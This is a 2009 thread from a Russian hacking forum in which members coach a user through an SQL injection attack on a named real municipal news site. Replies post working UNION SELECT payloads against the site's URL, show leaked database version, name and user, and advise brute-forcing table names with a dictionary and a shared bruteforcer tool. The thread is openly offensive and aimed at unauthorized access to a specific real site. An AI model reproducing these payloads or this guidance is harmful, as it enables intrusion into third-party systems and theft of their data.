ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
01.02.2009, 18:47
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889
Репутация:
60
|
|
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!  |
|
|
01.02.2009, 19:01
|
|
Познающий
Регистрация: 21.03.2008
Сообщений: 39
Провел на форуме:
99208
Репутация:
21
|
|
Сообщение от kevmen
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!
http://www.sterlitamak.ru/arxnews.shtml?id=-873+union+select+1,concat(version(),0x3a,DATABASE( ),0x3a,USER()),3,4,5,6,7,8,9,10/*
4.0.24_Debian-10sarge2-log:admstr:adminstr@localhost
А дальше таблици подбирай - ...9,10+from+имятаблици/*
|
|
|
|
01.02.2009, 19:10
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от kevmen
PHP код:
http://www.sterlitamak.ru/arxnews.shtml?id=-873+
union+select+1,version(),3,4,5,6,7,8,9,0
подскажите с дальнейшими действиями,я запутался!Каким образом можно узнать полный путь к файлу arxnews.shtml
Хоть что-нибудь подскажите,пожалуйста!
а зачеим тебе путь? там лоад файл запрещен
|
|
|
|
01.02.2009, 20:20
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889
Репутация:
60
|
|
только подбирать названия?Ничего другого нельзя сделать?
То есть нужно надеятся на удачу?или есть какой-нибудь другой способ
|
|
|
|
01.02.2009, 20:28
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от kevmen
только подбирать названия?Ничего другого нельзя сделать?
То есть нужно надеятся на удачу?или есть какой-нибудь другой способ
нет, только брут. Всё что меньше 5-ой ветки. И удача тут не при чем. Хороший словарь вот нужен.
|
|
|
|
01.02.2009, 20:30
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889
Репутация:
60
|
|
Сообщение от Pashkela
нет, только брут. Всё что меньше 5-ой ветки. И удача тут не при чем. Хороший словарь вот нужен.
а есть какой-нибудь скрипт для брута или программа?
или все ручками?
|
|
|
|
01.02.2009, 20:32
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Есть. Особнно если учесть, что подписи не для красоты только (снизу слева). Ну или мою можешь попробовать скачать - пароль 123
Последний раз редактировалось Pashkela; 02.02.2009 в 13:10..
|
|
|
|
01.02.2009, 20:43
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
Провел на форуме:
397889
Репутация:
60
|
|
http://www.sterlitamak.ru/arxnews.shtml?id=873{SQLINJ}
select+1,2,3,4,5,6,7,8,9,0+from(????????????)
как правильно составить запрос?table_name?
|
|
|
|
01.02.2009, 20:48
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
kevmen К программе есть подробный мануал, сайт и тема, зачем задавать вопросы ещё и сдесь?
https://forum.antichat.ru/threadnav24918-1-10.html
|
|
|
|
01.02.2009, 22:17
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
kevmen, воспользуйся брутуром от Пашкелы. Он очень хороший и ничего лишнего... Словарь можно взять от проги SIPT и самому потом добавлять примерами из жизни.
ЗЫ: В 4ой ветке часто таблица с юзерами называется [user()/database()]_user и т.д. Если не понял то приведу пример в твоей ситуации. adminstr_user и т.д... Не проверял. Сам по-подбирай)
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид